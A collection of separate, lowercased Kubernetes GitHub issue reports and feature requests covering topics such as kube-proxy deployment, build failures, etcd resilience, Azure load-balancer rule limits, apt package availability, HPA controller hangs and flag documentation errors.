ref: https://github.com/kubernetes/kubernetes/pull/51227 discussion_r135125827\r \r we should remove kube-proxy static pods configuration in gce startup scripts in v1.9 and make kube-proxy as daemonset the only way to deploy kube-proxy.\r \r /assign\r   cc @mikedanese

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :  pull-kubernetes-cross  is failing with:\r \r    \r i1118 20:53:49.950  cmd/kubelet/app/server.go:417:49: too many arguments in call to cadvisor.new\r i1118 20:53:49.950  \thave  string, uint, cadvisor.imagefsinfoprovider, string, bool \r i1118 20:53:49.950  \twant  string, uint, cadvisor.imagefsinfoprovider, string \r    \r \r   what you expected to happen  : the cross build should work,.\r \r   how to reproduce it  as minimally and precisely as possible   :  /test pull-kubernetes-cross \r \r \r   anything else we need to know?  :\r \r it looks like this happened in https://github.com/kubernetes/kubernetes/pull/55642 issuecomment-345462139, probably because we don't block the queue on cross :- \r xref: https://github.com/kubernetes/test-infra/issues/5584\r \r /  \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r send request to apiserver, but not response, seems apiserver also not get the request\r \r   what you expected to happen  :\r apiserver response for request\r \r   how to reproduce it  as minimally and precisely as possible   :\r i don't know, i just use kubeadm to create cluster and add nodes.\r \r   anything else we need to know?  :\r anything you want to know, just ping me.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r ~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :\r    \r ~  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r ~  uname -a\r linux m-cluster-192-168-8-151 4.4.0-98-generic  121-ubuntu smp tue oct 10 14:24:03 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:kubeadm\r - others:calico\r \r  

failing job\r    gce-1.10-master-upgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster \r    gke-gci-1.10-gci-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-master \r \r    failing test\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2133\r \r triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=scheduling\r \r this test is currently failing in sig-release master-upgrade suite. this could potentially block beta v1.11 which is due to be cut tuesday,5/15. @k82cn will this be addressed by the fix for  issue  62704  https://github.com/kubernetes/kubernetes/issues/62704 \r \r  / /  @kubernetes/sig-scheduling-bugs \r /milestone v1.11\r \r cc @jberkus @tpepper\r \r /assign @k82cn

what happened  :\r https://github.com/kubernetes/kubernetes/issues/74339\r \r but when i found the path to the file i was trying to fix, i saw the last line:\r    \r // code generated by go-bindata.\r // sources:\r // translations/owners\r // translations/extract.py\r // translations/kubectl/owners\r // translations/kubectl/de_de/lc_messages/k8s.mo\r // translations/kubectl/de_de/lc_messages/k8s.po\r // translations/kubectl/default/lc_messages/k8s.mo\r // translations/kubectl/default/lc_messages/k8s.po\r // translations/kubectl/en_us/lc_messages/k8s.mo\r // translations/kubectl/en_us/lc_messages/k8s.po\r // translations/kubectl/fr_fr/lc_messages/k8s.mo\r // translations/kubectl/fr_fr/lc_messages/k8s.po\r // translations/kubectl/it_it/lc_messages/k8s.mo\r // translations/kubectl/it_it/lc_messages/k8s.po\r // translations/kubectl/ja_jp/lc_messages/k8s.mo\r // translations/kubectl/ja_jp/lc_messages/k8s.po\r // translations/kubectl/ko_kr/lc_messages/k8s.mo\r // translations/kubectl/ko_kr/lc_messages/k8s.po\r // translations/kubectl/template.pot\r // translations/kubectl/zh_cn/lc_messages/k8s.mo\r // translations/kubectl/zh_cn/lc_messages/k8s.po\r // translations/kubectl/zh_tw/lc_messages/k8s.mo\r // translations/kubectl/zh_tw/lc_messages/k8s.po\r // translations/test/default/lc_messages/k8s.mo\r // translations/test/default/lc_messages/k8s.po\r // translations/test/en_us/lc_messages/k8s.mo\r // translations/test/en_us/lc_messages/k8s.po\r // do not edit!\r    \r \r   what you expected to happen  :\r fix https://github.com/kubernetes/kubernetes/issues/74339\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

cc @kow3ns \r cc @janetkuo \r cc @kubernetes/sig-apps-bugs \r \r statefulsetspec.volumeclaimtemplates does not have a merge strategy or key, so it is always replaced.  see podspec.volumes for what this should look like\r \r -  podspec  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.13/ podspec-v1-core \r -  statefulsetspec  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.13/ statefulsetspec-v1-apps \r  \r

forking from  2630   this issue is to discuss how we can offer control of permissions on volumes that are not emptydir or based on emptydir  secrets, git repo, downward api  so that they can be used easily with packages that have requirements about perms.  @thockin @eparis @smarterclayton

forked from  1007 and follow-on to  1702.\r \r we ultimately want to automate most of the orchestration/workflow involved in deployment, so that most users don't need to write custom workflows or scripts. however, it's fairly complex, and we can't necessarily automate all of it in a domain-independent, use-case-independent manner. \r \r in general, a full deployment would likely be comprised of multiple files, each containing multiple objects  see  1694 . these objects may have inter-dependencies  e.g., right now services must be created before their clients are created , rolling updates require special treatment   1353 , and application-specific rollout logic may be required. therefore, i recommend we keep this more general deployment workflow separate from the basic primitive mechanism that reconciles a single object   1702 , and ensure that the two are composable.\r \r we should design the deployment orchestration/workflow tool/library to be:\r - configurable  e.g., inter-object ordering dependencies, group rate limits attached to label selectors , \r - selectable  just create/update/delete certain things , wrappable  so one could run another workflow around sub-workflows , \r - pluggable  so a workflow could be provided for updating microservices / replication controllers , and \r - hookable  so one could easily attach custom logic to a deployment workflow that largely works but needs to poke the application or something, or to externally control update rate/timing .\r \r other requirements:\r - support for progressive deployment across multiple clusters  with or without federation \r - support for external  application or infrastructure  actions that aren't implemented by operators, initcontainers, etc.\r \r i haven't looked whether an off-the-shelf solution would largely work -- there certainly many workflow-y tools/systems out there. \r

curate a small number of “applications” that can be used to measure performance at a higher level  qps for high level requests .

now that we have apiregistrationmanager, we should update the server and client to instantiate their own instances of apiregistrationmanager and register the apis independently.  currently, we use defaultapiregistrationmanager everywhere. as a result, if the client depends on an api, it is included in the server automatically.  https://github.com/kubernetes/kubernetes/issues/26675 is an example instance of the problem that this leads to. calling  registered.allpreferredgroupversions    in api server returns all group versions including the ones that client depends on. there should be a way to get all group versions included only in the server.  cc @kubernetes/sig-cluster-federation @caesarxuchao

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r empty etcd\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r   - kubelet should be more resilient to configuration errors with etcd. we accidentally started etcd in an empty state during a rollback from etcd 3 to etcd 2. kubelet saw this empty state and immediately deleted all pods, bringing down the whole system.\r \r describe  in detail  the feature/behavior/change you'd like to see.\r \r i would like to see kubelet error out if there are pods running on its node but etcd is empty. if this isn't possible, i'd like to see the concept of a magic value be made part of kubernetes' etcd store. if the magic key/value is not present in etcd, kubelet will not consider the etcd instance as valid and will refuse to make changes. when bringing up a new k8s cluster for the first time, this magic key/value would need to be written to etcd as the first step.\r \r   kubernetes version    use  kubectl version  : 1.4.4\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : rhel 8.1\r -   kernel    e.g.  uname -a  : linux kubeetcd1.prod1.omega.bf1.yahoo.com 3.10.0-327.36.3.el7.yahoo.20161025.20.x86_64  1 smp tue oct 25 20:44:08 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : chef\r -   others  :\r \r \r   what happened  :\r \r we lost all workloads in the system\r \r   what you expected to happen  :\r \r kubelets would switch to an error state and require manual intervention to continue operation. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1  take a successfully running cluster \r 2  stop etcd\r 3  start etcd from an empty data directory\r \r expected: kubelets switch to a \ broken state\ \r actual: all workloads were deleted : \r \r as a work around, we're thinking about putting a iptables block on etcd whenever we are doing maintenance to ensure we have a chance to verify etcd's state before letting kubeletes see the etcd cluster.\r

its common to work on the same kinds of resources quite a bit; viewing/editing/removing the same kinds of resources so you can find yourself typing quite a lot. an interactive repl could help reduce typing.\r \r e.g. something like:\r \r    \r foo> $ kubectl shell\r mynamespace> cd ../barnamespace\r barnamespace> ls\r pods deploys services ...\r barnamespace> cd pods\r barnamespace/pods> ls foo \r foo-1234 foo-4567\r barnamespace/pods> cat foo-1234\r ----\r apiversion: v1\r kind: pod\r metadata:\r   name: foo-1234\r ...\r barnamespace/pods> rm foo-1234\r pod foo-1234 deleted\r barnamespace/pods> exit\r foo> $\r

now for container/sandbox, we return error when the requested resource is not found; for image, we return empty response without error instead.\r \r we should make use the grpc codes.notfound. something similar with https://github.com/containerd/containerd/blob/b53105ed253b99f8b63809e704f23819dce9776e/services/content/helpers.go.\r \r @yujuhong @feiskyer @kubernetes/sig-node-api-reviews

it's the slowest integration test by ~100%\r    \r //test/integration/apiserver:go_default_test                     cached  passed in 8.2s\r //test/integration/auth:go_default_test                          cached  passed in 47.7s\r //test/integration/client:go_default_test                        cached  passed in 28.0s\r //test/integration/configmap:go_default_test                     cached  passed in 3.2s\r //test/integration/defaulttolerationseconds:go_default_test      cached  passed in 3.4s\r //test/integration/deployment:go_default_test                    cached  passed in 14.3s\r //test/integration/etcd:go_default_test                          cached  passed in 31.2s\r //test/integration/evictions:go_default_test                     cached  passed in 7.8s\r //test/integration/examples:go_default_test                      cached  passed in 8.1s\r //test/integration/federation:go_default_test                    cached  passed in 48.3s\r //test/integration/garbagecollector:go_default_test              cached  passed in 249.9s\r //test/integration/kubectl:go_default_test                       cached  passed in 7.8s\r //test/integration/master:go_default_test                        cached  passed in 31.6s\r //test/integration/metrics:go_default_test                       cached  passed in 5.7s\r //test/integration/objectmeta:go_default_test                    cached  passed in 3.1s\r //test/integration/openshift:go_default_test                     cached  passed in 0.6s\r //test/integration/pods:go_default_test                          cached  passed in 9.1s\r //test/integration/quota:go_default_test                         cached  passed in 6.2s\r //test/integration/replicaset:go_default_test                    cached  passed in 190.6s\r //test/integration/replicationcontroller:go_default_test         cached  passed in 190.3s\r //test/integration/scheduler:go_default_test                     cached  passed in 161.6s\r //test/integration/scheduler_perf:go_default_test                cached  passed in 248.3s\r //test/integration/secrets:go_default_test                       cached  passed in 3.4s\r //test/integration/serviceaccount:go_default_test                cached  passed in 40.0s\r //test/integration/storageclasses:go_default_test                cached  passed in 3.2s\r //test/integration/thirdparty:go_default_test                    cached  passed in 72.4s\r //test/integration/ttlcontroller:go_default_test                 cached  passed in 9.1s\r //test/integration/volume:go_default_test                                passed in 480.0s\r    \r can we make it faster?\r \r cc @kubernetes/sig-storage-bugs

spinning up a discussion from https://github.com/kubernetes/kubernetes/issues/48561\r \r > it would be nice to identify the server that sent the audit event, i.e. the aggregator vs. an end-user apiserver.\r \r it can be implemented right now by adding a parameter to the webhook address on the deployment stage and process this parameter later in the pipeline. however, it's  relatively  easy to add information to the api and we want to make sure that the information we currently have is in the right state before going to beta / ga.\r \r one thought is that it probably doesn't make sense to have this information in the event object, because events from different sources rarely mix up  until the backend anyway  and it would just mean the same information copied all over the request to the webhook. wdyt about adding this information to the eventlist object?\r \r /cc @tallclair @sttts @caoshufeng @ericchiang

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r there is no statefulset info dumped by \ kubectl cluster-info dump\ . \r \r   what you expected to happen  :\r 1. add statfulset info dump\r 2. add options like --all-resources or --resources=events,pods ?\r > kubectl cluster-info dump --resources=services,pods\r \r /area kubectl\r 

 \r i created a cluster  tried both on gke and gce  running kubernetes 1.7.6\r \r i ran  kubectl proxy \r \r then i tried to access http://127.0.0.1/ui\r it redirected to http://127.0.0.1:8001/api/v1/namespaces/kube-system/services/kubernetes-dashboard/proxy which showed a blank page.\r \r it should have either redirected to:\r http://127.0.0.1:8001/api/v1/namespaces/kube-system/services/kubernetes-dashboard/proxy/  note the trailing / \r  or\r http://127.0.0.1:8001/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard/  note the placement of proxy .\r both these urls work.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : \r  \r   what happened  : when i expose a service of type loadbalancer, the azure cloud provider creates an inbound security rule in the network security group  nsg  associated with the subnet.  however, an azure nsg has a limit of 200 inbound security rules.  a large cluster that exposes many services can exhaust this limit.\r \r   what you expected to happen  : i should be able to expose over 200 services from a cluster.   we should pin down what is an acceptable limit, because azure will never allow us create an unlimited number of nsg rules. \r \r   how to reproduce it  as minimally and precisely as possible   : create a cluster and expose 500 services from it.\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r in the actual production environment, scheduler shows different performance when i set the number of parallel workqueue. and after continuous testing, the number that eventually fits me is 14.so i suggest that we should configure it.\r \r   what you expected to happen  :\r in the case of the default number of concurrent  16  can be modified through the configuration file.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

if i want to execute the following command:\r \r  cd .kube \r  kubeconfig=./config \r \r  kubectl exec -n cattle-system $ kubectl --kubeconfig $kubeconfig get pods -n cattle-system -o json | jq -r '.items   | select .spec.containers  .name==\ cattle-server\   | .metadata.name'  -- reset-password \r \r it results in this error:\r \r    \r -bash: jq: command not found\r error: expected 'exec pod_name command  arg1   arg2  ...  argn '.\r pod_name and command are required arguments for the exec command\r see 'kubectl exec -h' for help and examples.\r    \r \r can anyone think of a solution for this?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r the kubeadm/kubelet/kubectl 1.12.0-00 packages are not available anymore in the ubuntu repo   deb http://apt.kubernetes.io/ kubernetes-xenial main  , breaking all scripts that relied on installing that specific version. the only available packages now are  1.12.1 :\r \r    \r root@test-local ~   apt-cache policy  kubeadm|grep -a1 1.12\r   candidate: 1.12.1-02\r   version table:\r      1.12.1-02 500\r         500 http://apt.kubernetes.io kubernetes-xenial/main amd64 packages\r    \r for comparisons, on other major releases the patch version of packages did not get removed after a new patch version got released:\r \r    \r root@test-local ~   apt-cache policy  kubeadm|grep -a1 1.11\r      1.11.3-00 500\r         500 http://apt.kubernetes.io kubernetes-xenial/main amd64 packages\r      1.11.2-00 500\r         500 http://apt.kubernetes.io kubernetes-xenial/main amd64 packages\r      1.11.1-00 500\r         500 http://apt.kubernetes.io kubernetes-xenial/main amd64 packages\r      1.11.0-00 500\r         500 http://apt.kubernetes.io kubernetes-xenial/main amd64 packages\r    \r \r in order to not break scripts that rely on installing a specific version of kubeadm, it would be helpful if that policy of not removing older patch release packages would be kept.\r \r   what you expected to happen  :\r \r existing packages not being removed\r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r  apt-get update && apt-get install -y apt-transport-https                                                                                                                                                       \r  curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -                                                                                                                                  \r  cat <<eof >/etc/apt/sources.list.d/kubernetes.list                                                                                                                                                             \r  deb http://apt.kubernetes.io/ kubernetes-xenial main                                                                                                                                                           \r  eof                                                                                                                                                                                                              \r  apt-get update                                                                                                                                                                                                 \r  apt-get install -y apt install kubelet=1.12.0\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r 

is this a bug report or feature request?  :\r \r bug report\r \r   what happened  :\r after install kubectl, i have this errors when i open my terminal.\r    \r -sh:  _kubectl_api-resources': not a valid identifier\r -sh:  _kubectl_api-versions': not a valid identifier\r -sh:  _kubectl_apply_edit-last-applied': not a valid identifier\r -sh:  _kubectl_apply_set-last-applied': not a valid identifier\r -sh:  _kubectl_apply_view-last-applied': not a valid identifier\r -sh:  _kubectl_auth_can-i': not a valid identifier\r -sh:  _kubectl_cluster-info_dump': not a valid identifier\r -sh:  _kubectl_cluster-info': not a valid identifier\r -sh:  _kubectl_config_current-context': not a valid identifier\r -sh:  _kubectl_config_delete-cluster': not a valid identifier\r -sh:  _kubectl_config_delete-context': not a valid identifier\r -sh:  _kubectl_config_get-clusters': not a valid identifier\r -sh:  _kubectl_config_get-contexts': not a valid identifier\r -sh:  _kubectl_config_rename-context': not a valid identifier\r -sh:  _kubectl_config_set-cluster': not a valid identifier\r -sh:  _kubectl_config_set-context': not a valid identifier\r -sh:  _kubectl_config_set-credentials': not a valid identifier\r -sh:  _kubectl_config_use-context': not a valid identifier\r -sh:  _kubectl_create_secret_docker-registry': not a valid identifier\r -sh:  _kubectl_port-forward': not a valid identifier\r    \r \r   what you expected to happen  :\r no errors\r \r   how to reproduce it  as minimally and precisely as possible   :\r install kubectl on osx\r open a terminal\r \r   environment  :\r - kubernetes version  use  kubectl version  : last\r - cloud provider or hardware configuration: macbook pro\r - os  e.g. from /etc/os-release : osx\r - kernel  e.g.  uname -a  : darwin kernel version 17.7.0\r - install tools: brew\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : hpa stopped updating deployments.  controller-manager log entries from horizontal.go simply stop.  a goroutine dump shows hpa controller hung for 5655 minutes in getresourcemetrics  will attach stack in comment .  after killing controller-manager, hpa processing resumed.\r \r   what you expected to happen  :  hpa controller should not hang and should resume processing when it can get metrics properly.\r \r   how to reproduce it  as minimally and precisely as possible   :  none.\r \r   anything else we need to know?  : i didn't see any obvious sign of problems in heapster.  maybe there was some networking issue. but the hpa controller shouldn't hang. i took a quick look at the code in the stack - trying to guess if this might have been fixed since 1.10 or work differently with metrics-server. there was nothing obvious to me.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.11\r - cloud provider or hardware configuration: ibm cloud kubernetes service \r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  : 4.4.0-89-generic\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

checking in generated code causes a number of problems. in particular, it causes frequent merge conflicts and rebases, which are an obstacle to creation of a submit queue.  unfortunately, not checking them in also has challenges: - would require a real build system - potentially increases the number of tool dependencies, such as for the ui  https://github.com/googlecloudplatform/kubernetes/pull/8776 issuecomment-105659288  - searching in github less useful  docs need to be checked in, but that could be done by an offline process, such as a nightly cron job.  cc @lavalamp @quinton-hoole @ixdy

rawextension is intended for use where you have a two-phase unpacking, or want to pass arbitrary objects around.  v1.list should have _only_ v1 objects in it, and therefore can be unpacked in 1 pass; you don't have to defer the understanding of the object.  we need an object that is similar to rawextension, but contains an internal runtime.object, guaranteed to be a v1 object. it should be convertable, so conversions between v1.list and api.list types should work.

cc @davidopp @lavalamp @wojtek-t   see https://github.com/kubernetes/kubernetes/pull/16505/files diff-1e89bcf0907383889eec45f6713cb049r113

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/11060/  failed:  k8s.io  kubectl client  k8s.io  simple pod should support inline execution and attach {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:402 expected error:     < errors.errorstring | 0xc82092fe60>: {         s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.155.140.207 --kubeconfig=/workspace/.kube/config --namespace=e2e-tests-kubectl-uydhn run run-test --image=gcr.io/google_containers/busybox:1.24 --restart=onfailure --attach=true --stdin -- sh -c cat && echo 'stdin closed'      0xc820872d00  error: failed to discover supported resources: the server could not find the requested resource\     <nil> 0xc8208734a0 exit status 1 <nil> true  0xc8200d3658 0xc8200d3680 0xc8200d3690   0xc8200d3658 0xc8200d3680 0xc8200d3690   0xc8200d3660 0xc8200d3678 0xc8200d3688   0xa96460 0xa965c0 0xa965c0  0xc820d38420}:\ command stdout:\ \ stderr:\ error: failed to discover supported resources: the server could not find the requested resource\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.155.140.207 --kubeconfig=/workspace/.kube/config --namespace=e2e-tests-kubectl-uydhn run run-test --image=gcr.io/google_containers/busybox:1.24 --restart=onfailure --attach=true --stdin -- sh -c cat && echo 'stdin closed'      0xc820872d00  error: failed to discover supported resources: the server could not find the requested resource         <nil> 0xc8208734a0 exit status 1 <nil> true  0xc8200d3658 0xc8200d3680 0xc8200d3690   0xc8200d3658 0xc8200d3680 0xc8200d3690   0xc8200d3660 0xc8200d3678 0xc8200d3688   0xa96460 0xa965c0 0xa965c0  0xc820d38420}:     command stdout:      stderr:     error: failed to discover supported resources: the server could not find the requested resource      error:     exit status 1  not to have occurred      previous issues for this test:  26324  27715

currently there is no documentation for thirdpartyresource on the kubernetes.io website. there is a design document in the github repository but an extension in beta should have documentation.  https://github.com/kubernetes/kubernetes/blob/master/docs/design/extending-api.md

https://github.com/docker/docker/pull/9882  once that lands, we can start to think about how to use it best - maybe we can stop jamming all sorts of junk into our docker names :

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r there are some code in nodecontroller for kubelet 1.2 compatibility, which should be removed now.

is this a bug report or feature request?  :\r  \r \r   what happened  :\r \r    \r w0817 12:34:57.200644       1 backup_handler.go:65  backup-worker-155201422-5n299 | failed to \r get environment detail:get http://environment-worker:503/v3/environments/11aec97a1c6d555f: dial \r tcp: lookup environment-worker on 100.64.0.10:53: server misbehaving\r    \r inside my cluster, one of the micro service calls the another one.. but always the first request is failing.. the others are success, i'm using golang http client.\r i found that, if there is some time gap from the last request this error happens.\r i suspect this might be kube-dns issue\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.5.2\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : default kops configuration\r \r \r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r in volume manger, volume reconstruction code  which recovers orphaned volumes from mounts , constructs internal objects to represent the volumes, but does not run through validation or defaulting. this can cause issues like https://github.com/kubernetes/kubernetes/issues/52242 where a new field is introduced but not set in the reconsturction version of the object. we should handle this better.\r \r cc @kubernetes/sig-storage-bugs \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  : feature request\r \r  \r when executing a plugin with a \ kubectl plugin\  command the current directory is changed to the directory of the plugin, but there is no reference to the directory the user was in before.\r \r it would be nice to have a kubectl_plugin variables set to the directory the user was in to be able to access files in there.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - kubectl version: 1.8.2\r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release : macos sierra 10.12.6\r

 \r   what happened  :\r 1. create an ilb by adding the correct annotation to a service with type loadbalancer.\r 2. add nodes to the cluster from a new zone\r 3. observe that the ilb's backend service did not get updated \r \r   mediation  :\r modifying the service spec  can add an annotation  will cause a full sync and update the backend service correctly. \r \r /assign\r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i wanted to set the watch cache size for some kinds, and realized i was unsure of the syntax.  after investigation and prompting, the flag help was updated to describe the syntax.  but the description has an error.  the flag help  https://github.com/kubernetes/kubernetes/blob/5e9a5659b751bd1d765758548273198fe8e40642/staging/src/k8s.io/apiserver/pkg/server/options/etcd.go l141  says the group is optional.  but the code makes it clear that the group is not optional.  see how https://github.com/kubernetes/kubernetes/blob/5e9a5659b751bd1d765758548273198fe8e40642/staging/src/k8s.io/apiserver/pkg/server/options/etcd.go l289 invokes schema.parsegroupresource, which does _not_ do any normalization --- the group appears in the result if and only if the user supplied the group in the string on the command line.  see how https://github.com/kubernetes/kubernetes/blob/5e9a5659b751bd1d765758548273198fe8e40642/staging/src/k8s.io/apiserver/pkg/server/options/etcd.go l228 and https://github.com/kubernetes/kubernetes/blob/5e9a5659b751bd1d765758548273198fe8e40642/staging/src/k8s.io/apiserver/pkg/server/options/etcd.go l261 index the map by the canonical  schema.groupresource  and only that.  so if the user supplies the group and the canonical  schema.groupresource  elides the group, or if the user elided the group and the canonical  schema.groupresource  includes the group, the user's entry in the map will not be found.\r \r   what you expected to happen  :\r i expected the command line flag help to be accurate.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i think the code inspection is easier than a demo in this case.  if you want a demo, run an apiserver with  -v=5 --watch-cache-sizes=pods.core 1701,jobs 1071  and look at the debug messages about the watch cache sizes used for pods and jobs.\r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r we scheduled a job with backofflimit 0, parallelism: 1, and enabled pod preemption and priority. however we found that sometimes when a pod is preempted, the status of the job which owns the preempted pod will be updated to active: 1, succeeded: 1, failed: 0, and job controller will complain that too many active pods for the job.\r \r   what you expected to happen  :\r i expected that when the pod is preempted, the job status should not be updated, which should be active 1, succeeded: 0, failed: 0.\r \r   how to reproduce it  as minimally and precisely as possible   :\r enable  preemption, create jobs with low  to occupy one host, then create jobs with high  with nodeselector to the same host.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3\r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r

ref:  72929\r \r the os/arch labels are going to be promoted to ga in v1.14. kubelet will continue reporting both the beta and the ga labels until v1.17.\r the beta labels below should be removed in v1.17.\r    \r \ beta.kubernetes.io/os\ \r \ beta.kubernetes.io/arch\ \r    \r /cc @kubernetes/sig-node-bugs

as we all know, the resources managed by kubernetes are precious. we need to define a mechanism for kubernetes to manage the resources more efficiently:  1, when define pod spec, we can introduce a expire time for it.  2, before expire time reached, kubernetes will send out notification mail to users for reclaiming the resources. 3, kubernetes also have ability for users to extend the expire time under some conditions. 4, once expire time reached, kubernetes can safely reclaim the resources occupied by user.

in review for  26301, it was pointed out that my copy-pasta test was verifying one thing, but then the second half of the test is more of the \ run this code and hope it doesn't hang\  variety.  follow-up issue.

